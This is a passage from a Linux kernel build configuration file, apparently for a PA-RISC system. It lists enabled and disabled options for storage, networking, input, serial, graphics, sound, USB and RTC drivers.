# CONFIG_BLK_DEV_TRM290 is not set
# CONFIG_BLK_DEV_VIA82CXXX is not set
# CONFIG_BLK_DEV_TC86C001 is not set
CONFIG_BLK_DEV_IDEDMA=y

#
# SCSI device support
#
# CONFIG_RAID_ATTRS is not set
CONFIG_SCSI=y
CONFIG_SCSI_DMA=y
# CONFIG_SCSI_TGT is not set
# CONFIG_SCSI_NETLINK is not set
CONFIG_SCSI_PROC_FS=y

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=y
CONFIG_CHR_DEV_ST=y
# CONFIG_CHR_DEV_OSST is not set
CONFIG_BLK_DEV_SR=y
# CONFIG_BLK_DEV_SR_VENDOR is not set
CONFIG_CHR_DEV_SG=y
# CONFIG_CHR_DEV_SCH is not set

#
# Some SCSI devices (e.g. CD jukebox) support multiple LUNs
#
# CONFIG_SCSI_MULTI_LUN is not set
# CONFIG_SCSI_CONSTANTS is not set
# CONFIG_SCSI_LOGGING is not set
# CONFIG_SCSI_SCAN_ASYNC is not set
CONFIG_SCSI_WAIT_SCAN=m

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=y
# CONFIG_SCSI_FC_ATTRS is not set
# CONFIG_SCSI_ISCSI_ATTRS is not set
# CONFIG_SCSI_SAS_LIBSAS is not set
# CONFIG_SCSI_SRP_ATTRS is not set
CONFIG_SCSI_LOWLEVEL=y
# CONFIG_ISCSI_TCP is not set
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_3W_9XXX is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AHA1740 is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC7XXX_OLD is not set
# CONFIG_SCSI_AIC79XX is not set
# CONFIG_SCSI_AIC94XX is not set
# CONFIG_SCSI_DPT_I2O is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_ARCMSR is not set
# CONFIG_MEGARAID_NEWGEN is not set
# CONFIG_MEGARAID_LEGACY is not set
# CONFIG_MEGARAID_SAS is not set
# CONFIG_SCSI_HPTIOP is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_IPS is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_PPA is not set
# CONFIG_SCSI_IMM is not set
# CONFIG_SCSI_MVSAS is not set
CONFIG_SCSI_LASI700=y
CONFIG_53C700_LE_ON_BE=y
# CONFIG_SCSI_STEX is not set
CONFIG_SCSI_SYM53C8XX_2=y
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
CONFIG_SCSI_SYM53C8XX_MMIO=y
# CONFIG_SCSI_IPR is not set
CONFIG_SCSI_ZALON=y
CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
CONFIG_SCSI_NCR53C8XX_SYNC=20
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_QLA_FC is not set
# CONFIG_SCSI_QLA_ISCSI is not set
# CONFIG_SCSI_LPFC is not set
# CONFIG_SCSI_SIM710 is not set
# CONFIG_SCSI_DC395x is not set
# CONFIG_SCSI_DC390T is not set
# CONFIG_SCSI_NSP32 is not set
# CONFIG_SCSI_DEBUG is not set
# CONFIG_SCSI_SRP is not set
# CONFIG_SCSI_LOWLEVEL_PCMCIA is not set
CONFIG_SCSI_DH=y
# CONFIG_SCSI_DH_RDAC is not set
# CONFIG_SCSI_DH_HP_SW is not set
# CONFIG_SCSI_DH_EMC is not set
# CONFIG_SCSI_DH_ALUA is not set
CONFIG_ATA=y
# CONFIG_ATA_NONSTANDARD is not set
CONFIG_SATA_PMP=y
# CONFIG_SATA_AHCI is not set
# CONFIG_SATA_SIL24 is not set
CONFIG_ATA_SFF=y
# CONFIG_SATA_SVW is not set
# CONFIG_ATA_PIIX is not set
# CONFIG_SATA_MV is not set
# CONFIG_SATA_NV is not set
# CONFIG_PDC_ADMA is not set
# CONFIG_SATA_QSTOR is not set
# CONFIG_SATA_PROMISE is not set
# CONFIG_SATA_SX4 is not set
# CONFIG_SATA_SIL is not set
# CONFIG_SATA_SIS is not set
# CONFIG_SATA_ULI is not set
# CONFIG_SATA_VIA is not set
# CONFIG_SATA_VITESSE is not set
# CONFIG_SATA_INIC162X is not set
# CONFIG_PATA_ALI is not set
# CONFIG_PATA_AMD is not set
# CONFIG_PATA_ARTOP is not set
# CONFIG_PATA_ATIIXP is not set
# CONFIG_PATA_CMD640_PCI is not set
# CONFIG_PATA_CMD64X is not set
# CONFIG_PATA_CS5520 is not set
# CONFIG_PATA_CS5530 is not set
# CONFIG_PATA_CYPRESS is not set
# CONFIG_PATA_EFAR is not set
# CONFIG_ATA_GENERIC is not set
# CONFIG_PATA_HPT366 is not set
# CONFIG_PATA_HPT37X is not set
# CONFIG_PATA_HPT3X2N is not set
# CONFIG_PATA_HPT3X3 is not set
# CONFIG_PATA_IT821X is not set
# CONFIG_PATA_IT8213 is not set
# CONFIG_PATA_JMICRON is not set
# CONFIG_PATA_TRIFLEX is not set
# CONFIG_PATA_MARVELL is not set
# CONFIG_PATA_MPIIX is not set
# CONFIG_PATA_OLDPIIX is not set
# CONFIG_PATA_NETCELL is not set
# CONFIG_PATA_NINJA32 is not set
# CONFIG_PATA_NS87410 is not set
# CONFIG_PATA_NS87415 is not set
# CONFIG_PATA_OPTI is not set
# CONFIG_PATA_OPTIDMA is not set
# CONFIG_PATA_PCMCIA is not set
# CONFIG_PATA_PDC_OLD is not set
# CONFIG_PATA_RADISYS is not set
# CONFIG_PATA_RZ1000 is not set
# CONFIG_PATA_SC1200 is not set
# CONFIG_PATA_SERVERWORKS is not set
# CONFIG_PATA_PDC2027X is not set
# CONFIG_PATA_SIL680 is not set
# CONFIG_PATA_SIS is not set
# CONFIG_PATA_VIA is not set
# CONFIG_PATA_WINBOND is not set
# CONFIG_PATA_SCH is not set
CONFIG_MD=y
CONFIG_BLK_DEV_MD=y
# CONFIG_MD_AUTODETECT is not set
CONFIG_MD_LINEAR=y
CONFIG_MD_RAID0=y
CONFIG_MD_RAID1=y
CONFIG_MD_RAID10=y
CONFIG_MD_RAID456=y
CONFIG_MD_RAID5_RESHAPE=y
# CONFIG_MD_MULTIPATH is not set
# CONFIG_MD_FAULTY is not set
CONFIG_BLK_DEV_DM=y
# CONFIG_DM_DEBUG is not set
# CONFIG_DM_CRYPT is not set
# CONFIG_DM_SNAPSHOT is not set
# CONFIG_DM_MIRROR is not set
# CONFIG_DM_ZERO is not set
# CONFIG_DM_MULTIPATH is not set
# CONFIG_DM_DELAY is not set
# CONFIG_DM_UEVENT is not set
# CONFIG_FUSION is not set

#
# IEEE 1394 (FireWire) support
#

#
# Enable only one of the two stacks, unless you know what you are doing
#
# CONFIG_FIREWIRE is not set
# CONFIG_IEEE1394 is not set
# CONFIG_I2O is not set
CONFIG_NETDEVICES=y
CONFIG_DUMMY=m
CONFIG_BONDING=m
# CONFIG_MACVLAN is not set
# CONFIG_EQUALIZER is not set
CONFIG_TUN=m
# CONFIG_VETH is not set
# CONFIG_ARCNET is not set
# CONFIG_PHYLIB is not set
CONFIG_NET_ETHERNET=y
CONFIG_MII=m
CONFIG_LASI_82596=y
# CONFIG_HAPPYMEAL is not set
# CONFIG_SUNGEM is not set
# CONFIG_CASSINI is not set
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_NET_VENDOR_SMC is not set
CONFIG_NET_TULIP=y
# CONFIG_DE2104X is not set
CONFIG_TULIP=y
# CONFIG_TULIP_MWI is not set
# CONFIG_TULIP_MMIO is not set
# CONFIG_TULIP_NAPI is not set
# CONFIG_DE4X5 is not set
# CONFIG_WINBOND_840 is not set
# CONFIG_DM9102 is not set
# CONFIG_ULI526X is not set
# CONFIG_PCMCIA_XIRCOM is not set
# CONFIG_DEPCA is not set
# CONFIG_HP100 is not set
# CONFIG_IBM_NEW_EMAC_ZMII is not set
# CONFIG_IBM_NEW_EMAC_RGMII is not set
# CONFIG_IBM_NEW_EMAC_TAH is not set
# CONFIG_IBM_NEW_EMAC_EMAC4 is not set
# CONFIG_IBM_NEW_EMAC_NO_FLOW_CTRL is not set
# CONFIG_IBM_NEW_EMAC_MAL_CLR_ICINTSTAT is not set
# CONFIG_IBM_NEW_EMAC_MAL_COMMON_ERR is not set
CONFIG_NET_PCI=y
# CONFIG_PCNET32 is not set
# CONFIG_AMD8111_ETH is not set
# CONFIG_ADAPTEC_STARFIRE is not set
# CONFIG_AC3200 is not set
# CONFIG_B44 is not set
# CONFIG_FORCEDETH is not set
# CONFIG_CS89x0 is not set
# CONFIG_EEPRO100 is not set
# CONFIG_E100 is not set
# CONFIG_LNE390 is not set
# CONFIG_FEALNX is not set
# CONFIG_NATSEMI is not set
# CONFIG_NE2K_PCI is not set
# CONFIG_NE3210 is not set
# CONFIG_ES3210 is not set
# CONFIG_8139CP is not set
# CONFIG_8139TOO is not set
# CONFIG_R6040 is not set
# CONFIG_SIS900 is not set
# CONFIG_EPIC100 is not set
# CONFIG_SUNDANCE is not set
# CONFIG_TLAN is not set
# CONFIG_VIA_RHINE is not set
# CONFIG_SC92031 is not set
# CONFIG_NET_POCKET is not set
# CONFIG_ATL2 is not set
# CONFIG_NETDEV_1000 is not set
# CONFIG_NETDEV_10000 is not set
# CONFIG_TR is not set

#
# Wireless LAN
#
# CONFIG_WLAN_PRE80211 is not set
CONFIG_WLAN_80211=y
# CONFIG_PCMCIA_RAYCS is not set
# CONFIG_IPW2100 is not set
# CONFIG_IPW2200 is not set
# CONFIG_LIBERTAS is not set
CONFIG_HERMES=m
# CONFIG_PLX_HERMES is not set
# CONFIG_TMD_HERMES is not set
# CONFIG_NORTEL_HERMES is not set
# CONFIG_PCI_HERMES is not set
CONFIG_PCMCIA_HERMES=m
# CONFIG_PCMCIA_SPECTRUM is not set
# CONFIG_ATMEL is not set
# CONFIG_AIRO_CS is not set
# CONFIG_PCMCIA_WL3501 is not set
# CONFIG_PRISM54 is not set
# CONFIG_USB_ZD1201 is not set
# CONFIG_USB_NET_RNDIS_WLAN is not set
# CONFIG_IWLWIFI_LEDS is not set
CONFIG_HOSTAP=m
CONFIG_HOSTAP_FIRMWARE=y
CONFIG_HOSTAP_FIRMWARE_NVRAM=y
# CONFIG_HOSTAP_PLX is not set
CONFIG_HOSTAP_PCI=m
CONFIG_HOSTAP_CS=m

#
# USB Network Adapters
#
# CONFIG_USB_CATC is not set
# CONFIG_USB_KAWETH is not set
# CONFIG_USB_PEGASUS is not set
# CONFIG_USB_RTL8150 is not set
# CONFIG_USB_USBNET is not set
CONFIG_NET_PCMCIA=y
# CONFIG_PCMCIA_3C589 is not set
# CONFIG_PCMCIA_3C574 is not set
# CONFIG_PCMCIA_FMVJ18X is not set
# CONFIG_PCMCIA_PCNET is not set
# CONFIG_PCMCIA_NMCLAN is not set
# CONFIG_PCMCIA_SMC91C92 is not set
# CONFIG_PCMCIA_XIRC2PS is not set
# CONFIG_PCMCIA_AXNET is not set
# CONFIG_WAN is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PLIP is not set
CONFIG_PPP=m
# CONFIG_PPP_MULTILINK is not set
# CONFIG_PPP_FILTER is not set
CONFIG_PPP_ASYNC=m
CONFIG_PPP_SYNC_TTY=m
CONFIG_PPP_DEFLATE=m
CONFIG_PPP_BSDCOMP=m
# CONFIG_PPP_MPPE is not set
CONFIG_PPPOE=m
# CONFIG_PPPOL2TP is not set
# CONFIG_SLIP is not set
CONFIG_SLHC=m
# CONFIG_NET_FC is not set
# CONFIG_NETCONSOLE is not set
# CONFIG_NETPOLL is not set
# CONFIG_NET_POLL_CONTROLLER is not set
# CONFIG_ISDN is not set
# CONFIG_PHONE is not set

#
# Input device support
#
CONFIG_INPUT=y
# CONFIG_INPUT_FF_MEMLESS is not set
CONFIG_INPUT_POLLDEV=y

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
CONFIG_INPUT_MOUSEDEV_PSAUX=y
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_EVDEV is not set
# CONFIG_INPUT_EVBUG is not set

#
# Input Device Drivers
#
CONFIG_INPUT_KEYBOARD=y
CONFIG_KEYBOARD_ATKBD=y
CONFIG_KEYBOARD_ATKBD_HP_KEYCODES=y
# CONFIG_KEYBOARD_ATKBD_RDI_KEYCODES is not set
# CONFIG_KEYBOARD_SUNKBD is not set
# CONFIG_KEYBOARD_LKKBD is not set
# CONFIG_KEYBOARD_XTKBD is not set
# CONFIG_KEYBOARD_NEWTON is not set
# CONFIG_KEYBOARD_STOWAWAY is not set
# CONFIG_KEYBOARD_HIL_OLD is not set
CONFIG_KEYBOARD_HIL=m
CONFIG_INPUT_MOUSE=y
CONFIG_MOUSE_PS2=y
CONFIG_MOUSE_PS2_ALPS=y
CONFIG_MOUSE_PS2_LOGIPS2PP=y
CONFIG_MOUSE_PS2_SYNAPTICS=y
CONFIG_MOUSE_PS2_LIFEBOOK=y
CONFIG_MOUSE_PS2_TRACKPOINT=y
# CONFIG_MOUSE_PS2_ELANTECH is not set
# CONFIG_MOUSE_PS2_TOUCHKIT is not set
CONFIG_MOUSE_SERIAL=y
# CONFIG_MOUSE_APPLETOUCH is not set
# CONFIG_MOUSE_BCM5974 is not set
# CONFIG_MOUSE_VSXXXAA is not set
CONFIG_MOUSE_HIL=m
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TABLET is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
CONFIG_INPUT_MISC=y
# CONFIG_INPUT_ATI_REMOTE is not set
# CONFIG_INPUT_ATI_REMOTE2 is not set
# CONFIG_INPUT_KEYSPAN_REMOTE is not set
# CONFIG_INPUT_POWERMATE is not set
# CONFIG_INPUT_YEALINK is not set
# CONFIG_INPUT_CM109 is not set
CONFIG_INPUT_UINPUT=m
CONFIG_HP_SDC_RTC=m

#
# Hardware I/O ports
#
CONFIG_SERIO=y
CONFIG_SERIO_SERPORT=y
# CONFIG_SERIO_PARKBD is not set
CONFIG_SERIO_GSCPS2=y
CONFIG_HP_SDC=m
CONFIG_HIL_MLC=m
# CONFIG_SERIO_PCIPS2 is not set
CONFIG_SERIO_LIBPS2=y
# CONFIG_SERIO_RAW is not set
# CONFIG_GAMEPORT is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_CONSOLE_TRANSLATIONS=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
CONFIG_VT_HW_CONSOLE_BINDING=y
CONFIG_DEVKMEM=y
# CONFIG_SERIAL_NONSTANDARD is not set
# CONFIG_NOZOMI is not set

#
# Serial drivers
#
CONFIG_SERIAL_8250=y
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_GSC=y
CONFIG_SERIAL_8250_PCI=y
CONFIG_SERIAL_8250_CS=y
CONFIG_SERIAL_8250_NR_UARTS=17
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
CONFIG_SERIAL_8250_EXTENDED=y
CONFIG_SERIAL_8250_MANY_PORTS=y
CONFIG_SERIAL_8250_SHARE_IRQ=y
# CONFIG_SERIAL_8250_DETECT_IRQ is not set
# CONFIG_SERIAL_8250_RSA is not set

#
# Non-8250 serial port support
#
CONFIG_SERIAL_MUX=y
CONFIG_SERIAL_MUX_CONSOLE=y
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
# CONFIG_SERIAL_JSM is not set
CONFIG_UNIX98_PTYS=y
CONFIG_LEGACY_PTYS=y
CONFIG_LEGACY_PTY_COUNT=64
CONFIG_PRINTER=m
# CONFIG_LP_CONSOLE is not set
CONFIG_PPDEV=m
# CONFIG_IPMI_HANDLER is not set
# CONFIG_HW_RANDOM is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set

#
# PCMCIA character devices
#
# CONFIG_SYNCLINK_CS is not set
# CONFIG_CARDMAN_4000 is not set
# CONFIG_CARDMAN_4040 is not set
# CONFIG_IPWIRELESS is not set
# CONFIG_RAW_DRIVER is not set
# CONFIG_TCG_TPM is not set
CONFIG_DEVPORT=y
# CONFIG_I2C is not set
# CONFIG_SPI is not set
# CONFIG_W1 is not set
CONFIG_POWER_SUPPLY=y
# CONFIG_POWER_SUPPLY_DEBUG is not set
# CONFIG_PDA_POWER is not set
# CONFIG_BATTERY_DS2760 is not set
# CONFIG_HWMON is not set
# CONFIG_THERMAL is not set
# CONFIG_THERMAL_HWMON is not set
# CONFIG_WATCHDOG is not set
CONFIG_SSB_POSSIBLE=y

#
# Sonics Silicon Backplane
#
# CONFIG_SSB is not set

#
# Multifunction device drivers
#
# CONFIG_MFD_CORE is not set
# CONFIG_MFD_SM501 is not set
# CONFIG_HTC_PASIC3 is not set
# CONFIG_MFD_TMIO is not set
# CONFIG_REGULATOR is not set

#
# Multimedia devices
#

#
# Multimedia core support
#
# CONFIG_VIDEO_DEV is not set
# CONFIG_DVB_CORE is not set
# CONFIG_VIDEO_MEDIA is not set

#
# Multimedia drivers
#
# CONFIG_DAB is not set

#
# Graphics support
#
# CONFIG_AGP is not set
# CONFIG_DRM is not set
# CONFIG_VGASTATE is not set
CONFIG_VIDEO_OUTPUT_CONTROL=y
CONFIG_FB=y
# CONFIG_FIRMWARE_EDID is not set
# CONFIG_FB_DDC is not set
# CONFIG_FB_BOOT_VESA_SUPPORT is not set
CONFIG_FB_CFB_FILLRECT=y
CONFIG_FB_CFB_COPYAREA=y
CONFIG_FB_CFB_IMAGEBLIT=y
# CONFIG_FB_CFB_REV_PIXELS_IN_BYTE is not set
# CONFIG_FB_SYS_FILLRECT is not set
# CONFIG_FB_SYS_COPYAREA is not set
# CONFIG_FB_SYS_IMAGEBLIT is not set
CONFIG_FB_FOREIGN_ENDIAN=y
CONFIG_FB_BOTH_ENDIAN=y
# CONFIG_FB_BIG_ENDIAN is not set
# CONFIG_FB_LITTLE_ENDIAN is not set
# CONFIG_FB_SYS_FOPS is not set
# CONFIG_FB_SVGALIB is not set
# CONFIG_FB_MACMODES is not set
# CONFIG_FB_BACKLIGHT is not set
CONFIG_FB_MODE_HELPERS=y
CONFIG_FB_TILEBLITTING=y

#
# Frame buffer hardware drivers
#
# CONFIG_FB_CIRRUS is not set
# CONFIG_FB_PM2 is not set
# CONFIG_FB_CYBER2000 is not set
# CONFIG_FB_ASILIANT is not set
# CONFIG_FB_IMSTT is not set
CONFIG_FB_STI=y
# CONFIG_FB_S1D13XXX is not set
# CONFIG_FB_NVIDIA is not set
# CONFIG_FB_RIVA is not set
# CONFIG_FB_MATROX is not set
# CONFIG_FB_RADEON is not set
# CONFIG_FB_ATY128 is not set
# CONFIG_FB_ATY is not set
# CONFIG_FB_S3 is not set
# CONFIG_FB_SAVAGE is not set
# CONFIG_FB_SIS is not set
# CONFIG_FB_VIA is not set
# CONFIG_FB_NEOMAGIC is not set
# CONFIG_FB_KYRO is not set
# CONFIG_FB_3DFX is not set
CONFIG_FB_VOODOO1=m
# CONFIG_FB_VT8623 is not set
# CONFIG_FB_TRIDENT is not set
# CONFIG_FB_ARK is not set
# CONFIG_FB_PM3 is not set
# CONFIG_FB_CARMINE is not set
# CONFIG_FB_VIRTUAL is not set
# CONFIG_FB_METRONOME is not set
# CONFIG_FB_MB862XX is not set
# CONFIG_BACKLIGHT_LCD_SUPPORT is not set

#
# Display device support
#
# CONFIG_DISPLAY_SUPPORT is not set

#
# Console display driver support
#
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=128
CONFIG_DUMMY_CONSOLE_ROWS=48
CONFIG_FRAMEBUFFER_CONSOLE=y
CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y
# CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set
CONFIG_STI_CONSOLE=y
CONFIG_FONTS=y
# CONFIG_FONT_8x8 is not set
CONFIG_FONT_8x16=y
# CONFIG_FONT_6x11 is not set
# CONFIG_FONT_7x14 is not set
# CONFIG_FONT_PEARL_8x8 is not set
# CONFIG_FONT_ACORN_8x8 is not set
# CONFIG_FONT_MINI_4x6 is not set
# CONFIG_FONT_SUN8x16 is not set
# CONFIG_FONT_SUN12x22 is not set
# CONFIG_FONT_10x18 is not set
CONFIG_LOGO=y
# CONFIG_LOGO_LINUX_MONO is not set
# CONFIG_LOGO_LINUX_VGA16 is not set
# CONFIG_LOGO_LINUX_CLUT224 is not set
CONFIG_LOGO_PARISC_CLUT224=y
CONFIG_SOUND=m
CONFIG_SOUND_OSS_CORE=y
CONFIG_SND=m
CONFIG_SND_TIMER=m
CONFIG_SND_PCM=m
CONFIG_SND_SEQUENCER=m
# CONFIG_SND_SEQ_DUMMY is not set
CONFIG_SND_OSSEMUL=y
CONFIG_SND_MIXER_OSS=m
CONFIG_SND_PCM_OSS=m
CONFIG_SND_PCM_OSS_PLUGINS=y
CONFIG_SND_SEQUENCER_OSS=y
CONFIG_SND_DYNAMIC_MINORS=y
CONFIG_SND_SUPPORT_OLD_API=y
CONFIG_SND_VERBOSE_PROCFS=y
# CONFIG_SND_VERBOSE_PRINTK is not set
# CONFIG_SND_DEBUG is not set
CONFIG_SND_VMASTER=y
CONFIG_SND_AC97_CODEC=m
CONFIG_SND_DRIVERS=y
# CONFIG_SND_DUMMY is not set
# CONFIG_SND_VIRMIDI is not set
# CONFIG_SND_MTPAV is not set
# CONFIG_SND_MTS64 is not set
# CONFIG_SND_SERIAL_U16550 is not set
# CONFIG_SND_MPU401 is not set
# CONFIG_SND_PORTMAN2X4 is not set
# CONFIG_SND_AC97_POWER_SAVE is not set
CONFIG_SND_PCI=y
CONFIG_SND_AD1889=m
# CONFIG_SND_ALS300 is not set
# CONFIG_SND_ALI5451 is not set
# CONFIG_SND_ATIIXP is not set
# CONFIG_SND_ATIIXP_MODEM is not set
# CONFIG_SND_AU8810 is not set
# CONFIG_SND_AU8820 is not set
# CONFIG_SND_AU8830 is not set
# CONFIG_SND_AW2 is not set
# CONFIG_SND_AZT3328 is not set
# CONFIG_SND_BT87X is not set
# CONFIG_SND_CA0106 is not set
# CONFIG_SND_CMIPCI is not set
# CONFIG_SND_OXYGEN is not set
# CONFIG_SND_CS4281 is not set
# CONFIG_SND_CS46XX is not set
# CONFIG_SND_DARLA20 is not set
# CONFIG_SND_GINA20 is not set
# CONFIG_SND_LAYLA20 is not set
# CONFIG_SND_DARLA24 is not set
# CONFIG_SND_GINA24 is not set
# CONFIG_SND_LAYLA24 is not set
# CONFIG_SND_MONA is not set
# CONFIG_SND_MIA is not set
# CONFIG_SND_ECHO3G is not set
# CONFIG_SND_INDIGO is not set
# CONFIG_SND_INDIGOIO is not set
# CONFIG_SND_INDIGODJ is not set
# CONFIG_SND_EMU10K1 is not set
# CONFIG_SND_EMU10K1X is not set
# CONFIG_SND_ENS1370 is not set
# CONFIG_SND_ENS1371 is not set
# CONFIG_SND_ES1938 is not set
# CONFIG_SND_ES1968 is not set
# CONFIG_SND_FM801 is not set
# CONFIG_SND_HDA_INTEL is not set
# CONFIG_SND_HDSP is not set
# CONFIG_SND_HDSPM is not set
# CONFIG_SND_HIFIER is not set
# CONFIG_SND_ICE1712 is not set
# CONFIG_SND_ICE1724 is not set
# CONFIG_SND_INTEL8X0 is not set
# CONFIG_SND_INTEL8X0M is not set
# CONFIG_SND_KORG1212 is not set
# CONFIG_SND_MAESTRO3 is not set
# CONFIG_SND_MIXART is not set
# CONFIG_SND_NM256 is not set
# CONFIG_SND_PCXHR is not set
# CONFIG_SND_RIPTIDE is not set
# CONFIG_SND_RME32 is not set
# CONFIG_SND_RME96 is not set
# CONFIG_SND_RME9652 is not set
# CONFIG_SND_SONICVIBES is not set
# CONFIG_SND_TRIDENT is not set
# CONFIG_SND_VIA82XX is not set
# CONFIG_SND_VIA82XX_MODEM is not set
# CONFIG_SND_VIRTUOSO is not set
# CONFIG_SND_VX222 is not set
# CONFIG_SND_YMFPCI is not set
CONFIG_SND_USB=y
# CONFIG_SND_USB_AUDIO is not set
# CONFIG_SND_USB_CAIAQ is not set
# CONFIG_SND_PCMCIA is not set
CONFIG_SND_GSC=y
CONFIG_SND_HARMONY=m
# CONFIG_SND_SOC is not set
# CONFIG_SOUND_PRIME is not set
CONFIG_AC97_BUS=m
CONFIG_HID_SUPPORT=y
CONFIG_HID=y
# CONFIG_HID_DEBUG is not set
CONFIG_HIDRAW=y

#
# USB Input Devices
#
CONFIG_USB_HID=y
# CONFIG_HID_PID is not set
# CONFIG_USB_HIDDEV is not set

#
# Special HID drivers
#
# CONFIG_HID_COMPAT is not set
CONFIG_HID_A4TECH=y
CONFIG_HID_APPLE=y
CONFIG_HID_BELKIN=y
CONFIG_HID_BRIGHT=y
CONFIG_HID_CHERRY=y
CONFIG_HID_CHICONY=y
CONFIG_HID_CYPRESS=y
CONFIG_HID_DELL=y
CONFIG_HID_EZKEY=y
CONFIG_HID_GYRATION=y
CONFIG_HID_LOGITECH=y
# CONFIG_LOGITECH_FF is not set
# CONFIG_LOGIRUMBLEPAD2_FF is not set
CONFIG_HID_MICROSOFT=y
CONFIG_HID_MONTEREY=y
CONFIG_HID_PANTHERLORD=y
# CONFIG_PANTHERLORD_FF is not set
CONFIG_HID_PETALYNX=y
CONFIG_HID_SAMSUNG=y
CONFIG_HID_SONY=y
CONFIG_HID_SUNPLUS=y
# CONFIG_THRUSTMASTER_FF is not set
# CONFIG_ZEROPLUS_FF is not set
CONFIG_USB_SUPPORT=y
CONFIG_USB_ARCH_HAS_HCD=y
CONFIG_USB_ARCH_HAS_OHCI=y
CONFIG_USB_ARCH_HAS_EHCI=y
CONFIG_USB=y
# CONFIG_USB_DEBUG is not set
CONFIG_USB_ANNOUNCE_NEW_DEVICES=y

#
# Miscellaneous USB options
#
CONFIG_USB_DEVICEFS=y
# CONFIG_USB_DEVICE_CLASS is not set
# CONFIG_USB_DYNAMIC_MINORS is not set
# CONFIG_USB_OTG is not set
CONFIG_USB_MON=y
# CONFIG_USB_WUSB is not set
# CONFIG_USB_WUSB_CBAF is not set

#
# USB Host Controller Drivers
#
# CONFIG_USB_C67X00_HCD is not set
# CONFIG_USB_EHCI_HCD is not set
# CONFIG_USB_ISP116X_HCD is not set
# CONFIG_USB_ISP1760_HCD is not set
CONFIG_USB_OHCI_HCD=y
# CONFIG_USB_OHCI_BIG_ENDIAN_DESC is not set
# CONFIG_USB_OHCI_BIG_ENDIAN_MMIO is not set
CONFIG_USB_OHCI_LITTLE_ENDIAN=y
CONFIG_USB_UHCI_HCD=y
# CONFIG_USB_SL811_HCD is not set
# CONFIG_USB_R8A66597_HCD is not set
# CONFIG_USB_WHCI_HCD is not set
# CONFIG_USB_HWA_HCD is not set

#
# USB Device Class drivers
#
# CONFIG_USB_ACM is not set
# CONFIG_USB_PRINTER is not set
# CONFIG_USB_WDM is not set
# CONFIG_USB_TMC is not set

#
# NOTE: USB_STORAGE depends on SCSI but BLK_DEV_SD may also be needed;
#

#
# see USB_STORAGE Help for more information
#
# CONFIG_USB_STORAGE is not set
# CONFIG_USB_LIBUSUAL is not set

#
# USB Imaging devices
#
# CONFIG_USB_MDC800 is not set
# CONFIG_USB_MICROTEK is not set

#
# USB port drivers
#
# CONFIG_USB_USS720 is not set
# CONFIG_USB_SERIAL is not set

#
# USB Miscellaneous drivers
#
# CONFIG_USB_EMI62 is not set
# CONFIG_USB_EMI26 is not set
# CONFIG_USB_ADUTUX is not set
# CONFIG_USB_SEVSEG is not set
# CONFIG_USB_RIO500 is not set
# CONFIG_USB_LEGOTOWER is not set
# CONFIG_USB_LCD is not set
# CONFIG_USB_BERRY_CHARGE is not set
# CONFIG_USB_LED is not set
# CONFIG_USB_CYPRESS_CY7C63 is not set
# CONFIG_USB_CYTHERM is not set
# CONFIG_USB_PHIDGET is not set
# CONFIG_USB_IDMOUSE is not set
# CONFIG_USB_FTDI_ELAN is not set
# CONFIG_USB_APPLEDISPLAY is not set
# CONFIG_USB_LD is not set
# CONFIG_USB_TRANCEVIBRATOR is not set
# CONFIG_USB_IOWARRIOR is not set
# CONFIG_USB_TEST is not set
# CONFIG_USB_ISIGHTFW is not set
# CONFIG_USB_VST is not set
# CONFIG_USB_GADGET is not set
# CONFIG_UWB is not set
# CONFIG_MMC is not set
# CONFIG_MEMSTICK is not set
CONFIG_NEW_LEDS=y
CONFIG_LEDS_CLASS=y

#
# LED drivers
#

#
# LED Triggers
#
CONFIG_LEDS_TRIGGERS=y
CONFIG_LEDS_TRIGGER_TIMER=y
CONFIG_LEDS_TRIGGER_IDE_DISK=y
CONFIG_LEDS_TRIGGER_HEARTBEAT=y
# CONFIG_LEDS_TRIGGER_BACKLIGHT is not set
CONFIG_LEDS_TRIGGER_DEFAULT_ON=y
# CONFIG_ACCESSIBILITY is not set
# CONFIG_INFINIBAND is not set
CONFIG_RTC_LIB=y
CONFIG_RTC_CLASS=y
CONFIG_RTC_HCTOSYS=y
CONFIG_RTC_HCTOSYS_DEVICE="rtc0"
# CONFIG_RTC_DEBUG is not set

#
# RTC interfaces
#
CONFIG_RTC_INTF_SYSFS=y
CONFIG_RTC_INTF_PROC=y
CONFIG_RTC_INTF_DEV=y
# CONFIG_RTC_INTF_DEV_UIE_EMUL is not set
# CONFIG_RTC_DRV_TEST is not set

#
# SPI RTC drivers
#

#
